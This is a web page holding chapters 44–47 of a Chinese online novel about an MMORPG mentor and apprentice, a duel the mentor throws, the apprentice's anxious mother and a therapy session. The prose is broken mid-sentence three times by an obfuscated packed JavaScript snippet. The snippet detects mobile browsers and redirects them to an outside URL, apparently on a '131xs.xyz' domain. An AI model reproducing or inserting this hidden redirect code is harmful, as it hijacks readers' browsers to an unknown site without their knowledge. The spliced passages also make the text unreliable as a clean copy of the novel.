队形往下,整整刷到宴云川回来还没结束。 “还试吗?”时和闷闷地问。 宴云川也没预料到会有这样的局面。 他说道:“不试了。” 桌上的匹诺曹因为这句“不试了”轰然倒下。 时和按在键盘上的手指陷了下去,眼底垂过一瞬而逝的失望,想到了那句“匹配到遇见为止”。 宴云川又说:“试试野外仇杀。” 隔天,一个天翎背着她心爱的弓箭路过辽东雪窟,隔老远就看见青的蓝的技能刷刷往天上冒。她秉持着“就看一眼”的原则悄悄从湖边路过。走没两步,又顿住脚步,噔噔两下后退着倒了回来。 妈妈呀! 这是什么家暴现场! 44.Chapter·放海 在这个花二十块钱买喇叭就能让消息传遍地图每个角落的游戏里,家暴这么劲爆的新闻,只用打字的功夫就传得九绡宫的鱼都知道了。 还是一样的角度,一样的小分队。单身带领着柚子和清絮他们蹲在最佳观赏点,顺手开了直播,直接吃了一波“兄弟钱”,打赏赚的盆满钵满。 有单身这么个可靠的“线人”,其他人很快找到了时和和宴云川的PK地点,蹲在一团啧啧称奇——宴云川打PK很常见,可野外仇杀还是头一遭。 当前频道有人问了句:[你们觉得谁会赢?] 这句废话立马得到了七八条反驳,反驳内容出奇一致:[这不瞎问吗!肯定是川老板啊!] 虽然是瞎问,但总有商人能在不可能里窥见可能的商机。当晚,游戏赌坊就有人开了局。他不赌单局谁输谁赢,而是赌两天内己见能不能赢的一局。场面瞬间不再一边倒,争论声此起彼伏。 临近九点,帮派YY频道还在讨论究竟该压谁。 “没悬念赌局有啥好开的,”单身嚷了一句。他嘴上说没啥好开的,鼠标却直接在“川云”的ID上下了注,“唉,照见儿这成长速度,再修炼几年说不定真的有一战的机会,但现在…悬得很啊!” “我同意。”清絮开麦冒了个泡。 柚子嘶着气说:“我虽然很想压见爹…但是大魔王绝对压制的力量不能忽视!我压大魔王!” 副帮和两个堂主都发话了,半数纠结的人二话不说把赌票砸在了川云的ID上。票刚砸下去,特效都没过呢,YY就响起了宴云川慵懒的嗓音:“万事无绝对。我建议你们…嗯,再考虑考虑。” YY陷入了一片死寂般的沉默。 宴云川哑然轻笑:“下注了?” 众人:“……” 您啥意思? 您可是连冠!您还能输不成? 连冠不会输,可连冠会放水。不,放海。这场闹得全服皆知的家暴持续到周五下午。辽东雪窟终年不息的大雪包裹整片山谷。 山谷湖边,幽篁箜篌琴弦如冰丝,音律化为剑气,从雪堆突刺出来,直逼御风脚底。 差一点,又是差一点。 三个控制技能全部进入CD,时和立马用钩锁钩上最近的雪松,拉开了和宴云川的距离。大雪降低了能见度,十丈开外白雾茫茫。瞥见宴云川的身影从岩石后面消失,他戒备地左右拉着视线。 刚提出野外仇杀那会,他还怀揣着“尊师重道”的道德心,技能亮了都不敢往宴云川身上砸。可打到现在,一次又一次的失败让他彻底杀红了眼。眼底只剩五个字熊熊燃烧:要赢宴云川! 树上的人已经被胜负欲蒙蔽双眼,几丈外的人围观群众在雾霾中艰难观战。湖边雪地堆满了黑压压的身影,远远看去像极了趴在冰川上的海豹。 见时和一动不动,仿佛跟着冰天雪地一块儿冻住了似的,他们也紧张地不敢动。 有人弱弱提醒:[单身说是最后一局了。] [己见赢不了了吧?] [应该是……] [他血量都不到30%了,川老板还满血欸!] … 局面僵持了一分半钟,毫无进展,明眼人都能看出宴云川这是准备找机会给徒弟致命一击了。 “海豹”里绝大部分人都压了宴云川胜利。不知是谁往天上放了个烟花,冷不防听见“咻”的一声响。这声烟花仿佛是凯旋的信号。烟花星子还没落地,新的烟花便接二连三往天上冒。 冒得正起劲呢,有人在当前频道喊了句:“你们快看啊!”一群人整齐划一地朝树上转过去。只见树上刀光剑影,青蓝相间的技能挥得眼花缭乱。还没看清发生了什么,特效渐渐散去。 有大胆的一个轻功飞过湖面。飞到一半,就看到树杈之下,御风正朝着幽篁作揖:“兄台好生了得,在下佩服!”这人直接沉进了湖底。 他们有点懵。 “……” 时和也有点懵。 ** 星络网吧。宴云川抬手揉了揉发酸的肩,没揉两下就收到单身打来的语音。铃声响的急促,光看头像都能感受到对面传来的怨气。他重新戴上耳机,指尖一滑,把声音调到最低。 果不其然,语音接通,单身的声音直接从耳机里吼出来,吼到破音:“靠!我跟你关系不薄吧!我俩可是战场过了命的交情!你就这么坑我?!” “我记得昨晚提醒你们了。”宴云川随手捞过键盘旁的火机,咔嚓点燃,嘴角忍不住向上弯了弯,“顺便再提醒一下,我徒弟跟我也有帮战过了命的交情。还是你邀请的,忘了么。” 单身:“……”操!忘了! 过命的罪名没安成功,单身立马换了一个:“呵!我就说!我就说昨晚你那语气不对劲!可你川老板向来不是在PK场心软放水的人啊!”之前的星引!还有……还有幽篁!破军!这些人哪个没对你嘤嘤嘤过!你不还是一扇子给人呼死了!是什么让你违背良心?是人性的泯灭还是道德的沦丧!” 一口气说完了一大段控诉,单身肺活量险些没跟上。他在耳机里直灌水喘气,嘴里还碎碎念着“双标狗”、“我要告诉川儿”…… 不光单身想控诉,游戏里压了宴云川胜利的其他人都想控诉。喇叭清一色的“有内鬼”、“请求终止交易”。宴云川笑着放下火机,点开背包喇叭,边敲字边对单身说:“我就一个徒弟,总得照顾点。让他赢一局,明天没那么紧张。” 这番感动中国的话在挂断后无缝转移到了林朔野的耳朵里。下午学校临时安排了一场讲座。林朔野从礼堂出来,越过人工湖,就听见单身学着宴云川语气四不像地说:“让他赢一局,明天没那么紧张,”说到半路自己都牙酸,抖了一下,“川儿!你哥这是把人见儿当啥养呢?” 林朔野自然接上:“徒弟啊!”语气太过笃定,让单身准备好的台词都没了发挥空间。 走过咖啡厅,单身才继续。 可能是施法被打断,他语气平稳不少,但是冷呵依旧存在:“呵,谁家徒弟这么无微不至的养?跟老妈子似的,事无巨细的……还好见儿是男生,啧啧,这要是个小师妹,我都快怀疑你哥是不是处着处着,对徒弟处出感情来了。” 话音刚落,林朔野脚步猛地顿了一下。 单身喂喂两道:“信号不好?”耳机的声音好像落进了湖里,听不真切。 直到沈停走上前拍了拍林朔野肩膀:“在这怵着做什么,当路牌?”林朔野这才回神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744572|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没呢,跟单身聊天。”他跟着沈停往前走,眼神飘向不远处的教学楼,又收回来,重新挂上没心没肺的笑,“你不是被老张叫走了吗?” “让我去补个表,几分钟的事。” “哦——” 哦字没说完,耳机传来单身的哀怨:“喂,我还没死呢,能不能聊完我的你俩再继续?” 林朔野才想起来耳机里还住着这个人。 他心虚摸了摸鼻尖,重新检索了一下刚才单身的话题,接着往下说:“我哥包不会对徒弟处出感情,放心吧!他只是责任感重。”末了又重复一遍,“他责任感一直都很重。” 不然也不会接手网吧了。 单身在耳机里又沉默了一会。再开口时,语气突然变得老神在在:“嗯,他责任感确实强。” 林朔野:“……?” 挂掉电话,回到宿舍,林朔野看见帮派群的消息才知道单身受了什么刺激——宴云川发了一千套时装全服抽奖,算是给赌狗们的补偿。 ** 幻世录的玩家忘性都大。有了宴云川横插一脚,夜幕还没完全降临他们就忘了赌坊的事,乐呵呵转锦鲤去了。可时和没忘。时和坐在飘窗边,捏着耳机线,听着宴云川针对“放海”这件事辩解。 “不算放水。”宴云川说。 耳机里又响起金属声。 时和发现,宴云川进入思考状态的时候似乎很喜欢敲出点声音,比如火机,比如桌子。 他听着宴云川往下说:“我刚开始玩幻世录那会,PK排位赛最高是监天御史,我打到御史,连跪无论,打得脾气上来了,就在网吧待了半年。” “脾气?”时和插了句话。 宴云川也会有脾气吗? “初中难免中二。”宴云川笑了笑,接着往下说,“嗯……在网吧那半年,我每天都在打PK,什么职业都试过。我下了课就去,打到凌晨三点,太晚了就在网吧睡,第二天直接去上课。” “为什么……” 时和在心里问:为什么要去网吧? 宴云川补全说:“父母管得严,觉得电脑耽误学习,所以大学以前家里都没电脑。” “没被……发现吗?” “发现好几次。可是他们要面子,做不出到网吧抓人的事,顶多周末回家挨两顿打。” 耳机里的人说着属于“宴云川”的故事,无论是偷偷去网吧,还是被父母打,都与时和印象里的“宴云川”大相径庭。听到宴云川父母管得严,时和莫名生出一种同病相怜的感觉。 他听得入神,倏地,火机声停下来。 整场“故事”像一个铺垫,就为了引出接下来的那一句:“你只训练了一周,我也只慢了一秒。所以,你赢的理所应当。不算放水。” 夜幕降临了。 时和还没从那句认真又坚定的“理所应当”中缓过神来,楼下突然响起窸窸窣窣的走路声。他后背冷不防一颤,意识回笼。 这个时间,应该是张采纹忘记拿东西了。 时和没在意,结果脚步声越来越近,直到房门口。门外传来钥匙开锁的声音,房门被推开,濯清踏着高跟鞋风风火火走进来,喊了声:“宝贝!” “妈?!” 45.Chapter·抬头 濯清突然回来,打破了夜幕之下刚升起的粉红泡泡,也打破了时和所有的计划。原定的网吧之行因为濯清一句:“妈妈约了明天的医生,带你去做个月度咨询。”凉了一半。剩下一半时和还在争取。 客厅里,随行秘书正收拾着行李箱。秘书全名宁莉,她看见濯清从楼上下来,打了声招呼:“濯总,”又看向时和,“小和,好久不见。” 时和不自在地点点头:“宁莉姐,好久不见……” 例行公事的慰问结束,宁莉就埋进了手上的工作中。时和一路跟在濯清身后走到沙发,还没坐下便着急说:“可我明天约了……约了沈停去网吧。”他本想说约了宴云川,又猜不准濯清对宴云川的态度。说沈停约的不算骗人,沈停跟濯清报备了。 “去两个小时就回来。”时和又补了个时间。 哪知濯清跟被信号干扰了似的,直接越过了这个话题。她招招手,让宁莉拿了几袋纪念品。“看看,”濯清把纪念品一一列外茶几上,“这是CiokoFlò巧克力节上的限定雕塑,还有两风味盒巧克力,一罐限量版可可豆罐子。都是供应商送的,怎么都得让我带回来,他女儿跟你差不多大,说你们年轻人就爱收藏这些限量品。” 雕塑是全巧克力制作的,雕的是一对吹号角的小人,衣服纹路清晰可辨,放在玻璃罩子里活灵活现的,也不知道用了什么工艺,可以在二三十度的天保持不化。时和匆匆瞥了一眼,抽不出心情欣赏它的美感,又急急喊着:“妈——”声音刚脱口,濯清伸手拿过最边上的绒布袋:“对了,还有这枚。” 绒布袋打开,一枚黑金色的纪念币落在濯清掌心。濯清带着满眼的温柔和关切问:“意大利今年发行的2欧元纪念币。之前听你提了一嘴,妈妈专程飞了一趟克莱佩达带的。喜欢吗?” 一句“专程”,让时和彻底说不出话了。也不知道是不是看花了眼,他竟然从濯清的眼神里看出了一丝祈求,眨眼的功夫就消失在了灯光下。 “我——” 宴云川,我该怎么办…… 时和落在腿边的手握成了拳。他实在不知道有什么理由去提醒、或者去反驳这样熟悉又陌生的濯清。两人都没说话,客厅犹如一把绷紧了的弓弦,要么断掉,要么一箭穿心。 僵持的档口,宁莉拖着收拾好的行李箱往客厅走。作为一个跟濯清合作多年业务能力极强的助理,宁莉一眼就看穿了客厅的局面。她走到濯清面前汇报工作进度,又弯着眼角对时和说:“小和,濯总为了赶回来这几天从早熬到晚没怎么休息,我跟泽宸怎么劝都劝不下。今晚能不能帮我劝着点,让她早点休息?身体才是革命的本钱,对吗?” 时和高考语文148,他听懂了。他看着沙发和茶几之间裂出一条鸿沟,濯清和宁莉站在鸿沟一边,而他成了濯清的对立面。弓弦还是断了。 “我知道了,宁莉姐。” “妈,”时和越过鸿沟,坐到濯清身边,接过纪念币。纪念币中央梵蒂冈圣彼得大教堂的“圣门”在灯光下闪着微光,“我很喜欢,谢谢妈。”他说道。 濯清终于笑出了声:“宝贝最乖了!” ** 时和不知道“乖”这个词到底要怎么定义,也不知道为什么,明明最开始是濯清让沈停约的他,为什么突然又不让他出门了。失了宴云川的约,加上被濯清强行赶回了卧室,他一晚没有睡好。虽然宴云川说了“没事”,可他依旧很在意。因为这个约定不一样,这是宴云川和他一星期的劳动成果。 身心双疲的结果,就是在咨询室走了神。 “小和。” “小和?” 心理医生连打了三个响指,都被召回他的注意力。直到医生说:“榕城今天的天气很不错,很久没有看见这么大片的白云了。”成功触发关键词。他回过头。 “是在看云吗?”医生问。 “嗯。” “你觉得今天的云怎么样?” “……” “太厚了。”看不真切。 窗外的云像凝固在天幕上的微型雪山,往街道望还能看见三两个人停驻路边拍照。今天是难得的艳阳天,是榕城这一周最好的天气,也是最适合去网吧的天气。时和目光又转向窗外,鬼使神差开口问道:“医生,为什么一个人可以在很短的时间内推翻自己建立的规则和计划呢……”为什么佛罗伦萨的濯清,和家里的濯清,仿佛两个人…… 咨询室瞬间安静无声。 心理医生放下圆珠笔,两手交握叠在桌面观察着时和。以往的咨询,都是他在问,时和在答,这是第一次时和主动发起疑问,问的问题也很有意思。这个“人”是谁?游戏里的朋友……还是母亲濯清? 他声音放缓地开口:“人在制定‘规则’的时候往往基于某种理想状态。可现实却是同一个人会被‘渴望’和‘恐惧’两种完全相反的情感撕扯,从而打破规则。” “渴望”、“恐惧”两个词被加重说出。时和看向心理医生,歪了歪头,眉宇间满是无法理解:“恐惧?”濯清会恐惧什么?她可是濯清啊…… 心理医生稍稍前倾:“对,恐惧。”他看着时和越蹙越深的眉头带着试探解释,“有一种恐惧,是当一个人发现自己曾作为他人‘世界支柱’的身份正在经历必然的崩塌。那种失控感会让她本能的想阻拦你,所以会出现你刚才说的‘制定规则同时推翻规则’的矛盾感。” 见时和没有反驳这个例子,他继续说:“小和,你有你的人生课题,制定规则的人有她的人生课题。如果出现课题冲突,你能做的只有划清‘责任’与‘主权’的疆界。要先掌握‘主权’,才能分清‘责任’。” 接下来的咨询进行的非常顺利,时和没再走神。心理医生重点了解了他第一次去网吧的经历,又问到6月6日那天散步遇到了什么有趣的事情。 心理医生问的很隐晦,可时和突然明白了:原来濯清回家是因为这个……因为他跟张采纹说话了,让濯清有了希望。原来自己才是那只煽动翅膀的蝴蝶。 从咨询室出来,医生便把濯清叫了进去。时和拉着口罩往活动室走,在走廊遇见一个小孩背着奥特曼书包直直往他腿上撞。他发现自己很招小孩撞。之前在超市门口也是,现在在走廊也是。 时和仓惶把小孩扶起来,说了声:“对不起。”压低帽檐正想走过去,余光看见小孩背后的奥特曼书包脚步一顿。脑子里的记忆一闪而过,他惊讶道:“是你?”之前趴在窗台问“火车轨道”的那个小朋友。 扶起小朋友,他下意识抬头想寻找上次那个说“离轨”的男生,视线室内只有一个打扮精致的中年男人和同样精致的女人。两人不耐烦地走上来,一句道谢没有,拉着小朋友走进了走廊第一间咨询室。 不是兄弟吗? 咨询室的门关上了,旁边的咨询室又走出一个女生。见女生往活动室的方向走,时和赶紧收回视线,埋着头匆忙往走廊尽头走,找了一个角落的位置坐了下去。 微信群今天很热闹,大清早就有人分享自己网吧PK的战绩。目前最高战绩是清絮刷出的十八连胜,就差两局。不过清絮对自己的成绩挺满意。他不是冲着奖励去的,纯属想看看自己能力的上限。有人说在网吧偶遇了清絮,时和才知道清絮是南城人。 有了清絮的偶遇,又有人开始猜测时和会去哪家网吧,会不会去找宴云川。到网吧或者准备去网吧的人纷纷在群里报点,表示今天一定要蹲到时和。群里一下成了刺激战场,走哪都是兵。 时和在聊天框打着:[我不参加了。] 这句话留在聊天框迟迟没有发出去,他不知道怎么跟一群陌生人解释自己的行踪,也不知道这件事有没有必要。网吧今天似乎格外的忙碌,宴云川一早回了个早餐的图片就没再出现过。他盯着宴云川的头像,从咨询室走出来的好心态化为乌有。 说不失落是假的。时和望向窗外,想着心理医生说的“主权”:每个人都想要主权,可不是每个人都能得到。他以前拿到过,结果失去了更多——譬如濯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778662|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清和时熵离婚,譬如濯清有很长的一段时间对自己格外不信任。 正想着濯清,窗外传来濯清招手的声音:“宝贝!” 不知道心理医生跟濯清说了什么,濯清心情变得异常愉悦,走路生风,跟人对视都得打两个招呼。时和跟在身后恨不得把自己融成濯清的挎包挂件藏起来。 下了电梯,濯清忽然回头:“宝贝,想去网吧吗?”他差点真跟濯清的挎包撞上。 “妈?”时和刹住车。 濯清看着时和帽檐下的眼睛都透着光,她叹了叹气:“一个小时就回家,可以吗?” ** 一个小时的时间远达不到PK连胜二十局的要求,可时和顾不上比赛能不能赢了。就像清絮一样,比赛不一定要赢。而且,他发现比起比赛,他更想见宴云川一眼。好像见了面,这个约定就没有失效一样。 今天的网吧果然异常忙碌,在走到路口就看见好几波成群结队的人往里面走。时和惯例躲在树下。十分钟前发给宴云川的消息还没回复。他看着聊天框里的:[在网吧吗?]犹豫了一会,拨了个语音通话。 通话响了十几秒才被接通。一接通,时和就听见那头传来一个尖锐的女声:“网吧在你手上月月不盈利!你得想办法啊!要不是你,凌岳会——”后续的话被关门的声音截断。时和听见一声呼气。 他还没消化完电话里犹如声纳武器一般的声音和内容,听筒传来宴云川的询问:“时和?”声音跟往常一样温和,好像刚才被声纳武器攻击的人不是他一样。 时和蹙眉,“嗯”了一下。 电话那头的人似乎在下楼,脚步声有节奏的回荡在耳畔。脚步停下来,宴云川又问:“是游戏里遇上什么事了么?”看来是没看到微信的信息。 “你……”时和本想问“你怎么了”,又觉得这问题从他这里问出去很奇怪。他又想问“网吧营业额不好吗”,感觉这个问题比上一个问题还要奇怪。 路边又走来两个人,讨论着等会玩幻世录还是开黑。宴云川听见声音,问道:“在外面?是在网吧吗?” 时和下意识否定:“不在!”不知怎的,他觉得宴云川今天心情不太好。既然心情不好,就不要麻烦宴云川了。他心虚地吸了吸鼻子,“在回家路上,快到家了。”说着转身往回走。 时和的行为实在反常。宴云川在电话那头沉默了一会,想来看见了微信信息,突然解释道:“我不在网吧。上午临时安排了点事,在青霭区这边,估计还得忙一会。”他又柔着声音问:“时和,你怎么了?” “嗯?” “你不会没由头的给我打电话。” 时和心脏一瞬间就堵了。他不明白明明宴云川自己心情不好,为什么还要这么尽心尽力的去问他怎么了,一副要继续哄他的模样。明明现在最该被哄的人是宴云川。还有刚刚电话里那个尖锐的女声,是宴云川妈妈吗?她口中的凌岳又是谁?网吧为什么会不盈利?那句熟悉得可以融入他大一生涯的“要不是你”又是什么意思? 一个接着一个的问题在脑海里盘旋不去。时和眉头越皱越紧。宴云川在电话那头没有说话,似乎在耐心等着时和回答。 走过马路,路过同心药房,时和站在药房门口抬头,又继续往前走,忽然没头没尾地对宴云川说:“宴云川,今天天气很好。”他攥紧了手机,攥到手机仿佛要在太阳底下融化才做好心理建设继续,“你抬头看一眼,云很漂亮。”然后又补上一句,“我打电话就想说这个,没了。” 同心药房门口的喇叭播放着药房折扣促销,促销话术里不断重复“同心大药房”的名字。电话那头的人倏地笑了一声,好像天空一下放了晴。 “谢谢。”宴云川在电话里说,“我看到了,今天的云,非常漂亮。” 时和攥着手机的手瞬间放松下来。 而后,他又听见宴云川说了句:“时和,等下次见面,我送你一个礼物。” 只是两人都没想到,“下次”会来的这么快。 46.Chapter·下次 这天周三,时和正陪濯清坐在沙发上刷平板。平板里显示着网吧的五大主流类型和盈利模式,他在研究网咖到电竞馆要怎么过度。 只可惜上次网吧体验太过匆忙,没看明白网吧分区和前台售卖的商品种类。 时和在心里做着构思,准备下一次去好好的做好笔记和记录。就在这时,门铃响了起来。 “嗯?”濯清起身走向玄关。她凑着猫眼往外看,诧异地后退两步,开了门。 时和以为是张采纹,也往门口看了眼,起身准备打招呼。刚起身,听见濯清在门口寒暄:“小停……你看看你,来了还带这么东西……明珮又去哪儿潇洒去啦……” 说到这,门外的人走进玄关:“我妈啊……法国天上飞着呢!她听说您这几天在榕城,这不我正好结课,专程让我来看看您!这些是我昨天从家里带过来的……” 自从半年前被确诊社交障碍,家里已经大半年没来客人了,那些来走访的人也被濯清曲线救国地拉去了酒店。时和没想到第一个客人会是沈停。 预想中的窒息感没有出现,时和稍微送了一口气。他看着沈停进门,在玄关处顿了一下,不知道发生了什么,脸上的表情变得极其奇怪。像是突然被老师点了名,绷直了身子起身喊:“到!” 只是沈停没喊,也没说“到”。但时和看了眼,有那么一瞬间,沈停的嘴型应该想蹦个“草”,最后碍于濯清在旁边,没发出声。 “快进来坐!” 濯清把人带了进来,又走进厨房倒茶。 等濯清背影消失在厨房边儿上,沈停立马一把拉着时和坐下,肩膀贴上去,从牙缝里挤出声音说:“卧槽!你家怎么这么多摄像头!” 果然,他刚才是想说“草”。 可能是网吧见了一面,加上游戏又经常打本,时和对沈停的到来没有心理排斥。可没有心理排斥不代表他能接受身体接触。 他眼神掠过肩膀上的布料,皱着眉头往旁边挪了一点,又环顾客厅的五个摄像头,用比牙缝更小的声音说道:“我妈不放心。” “不放什么?”沈停没听清,又凑了上来。 “……”时和往旁边挪多了两步,重复了一遍。这次声音大了些,沈停听清了。 “不放心用装这么多吗?!”沈停僵着脸上的笑不敢收,“我感觉我今天比巨星还长脸!” 时和:…… 他还想为濯清解释什么,沈停徒然递过来一个没有LOGO的礼品袋:“诺,学长给你的。”怀里的纸袋敞开,依稀能看见里面印有“幻世录”标签的镂空镭射包装,透过镂空顶封还能看到一架箜篌。 “应该是PK赛奖品吧,”沈停说,“那天大清早就看到学长在打了。还好他打的够早,连胜二十局,速刷!再晚一点儿都得被围观。” 说完,他看见时和指尖竟然在微微发颤。 “喂——” 沈停刚想说“一个礼物而已,你不至于吧”。 恰在此时,濯清端着两杯茶走了出来:“家里太久不来客,只有安吉白茶。这次就将就喝两杯,等下回我准备一些上好的百年丛,再给你补上。”他所有的话都咽了进去,脱口就是一句:“谢谢阿姨!” 桌上的热茶升腾着白雾,雾气随着香气钻进了时和眼睛,烫的眼眶发酸。 原来宴云川那天说的礼物是这个…… 那个约定没有作废。 时和的异常太过明显,濯清看见,还以为他是不习惯家里来了生人,担忧地直蹙眉,就用“拿点心”的借口让时和上了楼。 濯清跟着上去:“宝贝,要是不舒服就回房间休息,妈妈招待沈停就好了。” 时和摇头:“没有不舒服。” “妈,我回房间放个礼物。” 濯清这才注意到时和手上的纸袋。 “沈停送的啊?”她问道。 时和说:“不是,是宴云川送的。” 濯清看着时和神情恢复正常,嘴上还挂着很淡的一抹愉悦,喟叹一声:“那孩子有心了。” ** 再次下楼时,沈停已经喝完了半杯茶,正在跟濯清聊着暑假的一些准备。 “房子您不用担心,我住学长家。” “房租?不用房租,给学长打点儿零工。” “网吧就这两天忙点,其他时间都还行。” … 刚聊到网管工作内容,濯清看见时和,对着时和招招手。时和坐下,她说:“我再去洗点水果。” 到底只是大学生,平日里也不怎么回家,哪能有耐心跟着大人这么寒暄。濯清一走,沈停就原形毕露了。他往沙发靠背一靠,长吁一气,看向时和,又直起身:“你刚才怎么了?” “没。”时和在他两人宽的距离坐下。 “被礼物感动的?” “……” “还真是啊!” 每天生活在一群流氓窝里,沈停很久没看见这么“纯情”的人了。他看着楚河汉界对面的时和越看越新鲜,连“巨星”的偶像包袱都顾不上端,凑上去出着主意:“这么感动你不如直接下去找学长道谢呗,两句话的事儿,犯得上激动么。” 时和抓到了关键词:“下去?” “嗯,学长专程送我来的。”沈停说。 “他——” 他在楼下?! 时和想问,濯清从厨房端来一盆洗好的水果走了过来:“谁下去?”濯清问。 “没!”沈停抢过话,“阿姨,是我在下面遇见两条特别可爱的狗!好像是阿拉斯加吧,贼萌!” 什么阿拉斯加都是随口胡诌。但沈停没想到小区还真有这么两只狗。 “是旁边栋的狗吧?糖豆和平安。” 沈停懵了一下,马上说:“应该是!” 是也得是,不是也得是。总不能吧宴云川爆出来。就濯清这么热情好客的模样,高低得让他拉人上来吃串葡萄。 桌上的葡萄透着晶莹的水渍,濯清又拉着沈停开始聊起家里的近况。按照濯清平日里待客的流程和时间,两人不聊上百来个来回都不能算完。 时和人坐在沙发上,心思已经飘到楼下那两只不存在的阿拉斯加身上了,全程没学上沈停那张嘴就胡诌的本领。他不停的往墙上挂钟瞥,瞥到沈停看不下去,想起身带着这只“望师石”下楼。 哪知沈停屁股刚离地,濯清先站了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792263|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “瞧这,实在招待不周。我再去买点水果。”濯清边说边往玄关走,又抬头看向时和,“宝贝,妈妈去买点水果,你跟小停在家玩会儿。” 桌上的葡萄盘不知什么时候空的,只留下一滩小小的水滩。濯清刚换好一只鞋,时和猛地起身:“妈!我去买吧!” 玄关的濯清和沙发上的沈停都怔住了。 濯清没想到时和会主动要求出门,还是买东西社交性这么强的事。而沈停,他没想到时和竟然会见色忘义!直接把他抛弃了! “你——”沈停挤了一声,想到自己正在做客,又忍了下去,转成挤眉弄眼的警告。 时和眨了眨眼,埋头眨掉了最后一点良心。 “妈,我去吧。”他又说了一遍。 濯清不太放心:“不行,还是妈妈去买。你在家多陪陪小停,你俩不是好几天没见了吗?” 时和心说:“他跟沈停坐一块说不上十句话。” 眼看濯清要换另一只鞋,时和急得直接搬出了心理医生:“妈!医生……我想出门试试。我带着手机,就在小区,不会有事的。” 这个理由果然有效。 ** 榕城连着几天艳阳天,像是要把之前没晒够的时间补上去一样。四周都是蝉鸣。宴云川倚在小区楼下的石柱边,看着两步之外的小朋友骑着碰碰车暴露在阳光下,你追我赶。 他把手伸出去探了一下,又缩回来。长期窝在网吧里的皮肤碰上阳光就烫得灼热,就跟飞蛾碰着灯,久了就得死似的。 只有小朋友会纯粹的享受阳光。 这么想着,宴云川笑了一下。他笑自己等个人就开始悲春伤秋,还是得忙。于是他拿出手机,准备给在网吧的林朔野发一下问候。 手机还没解锁,身后传来一声:“宴云川!” 他指尖顿了半拍,猛地回头。 夏季的天空是四季里最透亮的,好像所有的景色在夏季都会变得更加浓郁绚烂。比如站在阳光下的时和,周身裹着一层暖暖的光雾。 宴云川又不合时宜想到那只被他用作比喻的飞蛾,以及那个成语:飞蛾扑火。 “你怎么下来了?”宴云川走上去,脚步很快。 时和说:“买点水果。” 买水果这个由头只是为了下楼见宴云川临时答应的,这会见到人了,再咀嚼这几个字,时和顿觉头晕目眩,仿佛下一秒就要晕倒。 他怎么能答应濯清买水果呢?!从这走到水果店得经过五栋楼遇见至少十几个人,万一遇上濯清的熟人免不了要打招呼,更重要的是他从来没有买过水果,完全不知道怎么选怎么挑分量怎么算! “我——” 时和张着嘴,好像这样就能让空气灌进肺里。 人见到了,道个谢就上去吧…… “宴——” 退缩的称呼刚说出口,宴云川声音同时响起。 “哪一家?”宴云川问。 嗯? “小区里的么?”宴云川又问。 时和“嗯”了一下。 宴云川说:“走吧,我陪你去。” 只用一步,那个站在阴影里的人就走到了阳光之下。如同飞蛾扑火。 47.Chapter·做客 “网吧……网吧今天不忙吗?”走在路上,时和忍不住问宴云川。 宴云川正盘算着下回出门应该戴个口罩,听见时和的问题思绪突然卡了一下壳。缓了两秒,他才说:“出来的时候还行。阿朔他们这周没什么课,有他和秋儿搭档,可以忙里偷个闲。” 两人走在路上引起了不少目光。时和平日里的散步范围都在小区外围,那儿碰见的人少。这两天濯清回来了,散步范围瞬间缩了几个毒圈,缩到了楼下方圆三里。以至于小区不少人都认出来了,这是那个酒店老板的儿子。 有几个溜着孩子的本想打个招呼,看见时和眼睛都快埋进砖缝里了,又收了打招呼的心思——毕竟跟她们有交情的也不是时和,是家里大人。 但是也有几个年长点的阿婆比较热络。 “小和喔!这你同学啊?” 阿婆摇着扇子,隔三四米就招呼上了。等人走到时和跟前,时和才反应过来这是在招呼自己,顿时绷直了背。 他有半年没做过这样的介绍了,往常出门都是濯清拉着他说:“这是我儿子。” 技能生疏的下场便是,时和被沈停出门前的“学长”干扰,又受濯清话式的影响,两个毫无关联的东西在脑海里自动组成了句子。 他脱口而出:“这是我学长!” 身旁的毫不意外地响起了一声轻笑。 “婆婆好。”宴云川打着招呼。 阿婆们知道时和是大学生。具体是什么大学印象不深了,但在她们的认知里,能考上大学的人都相当了不得。更何况宴云川笑起来朗目疏眉的,整张脸都透着“我成绩很好”的光辉。 继而,接下来的五分钟,时和听见阿婆先是夸赞宴云川能干,又夸濯清有福气。还没等他搞明白宴云川能干和濯清有福气之间有什么关联,阿婆又问宴云川:“谈恋爱没谈啊?”他顿时竖直了耳朵。 耳边的蝉鸣一声接一声的叫着,像是一种催促。催到宴云川说:“还没谈,婆婆。”蝉声才渐渐淡了下去。时和卸了掌心的力道,愉悦莫名。 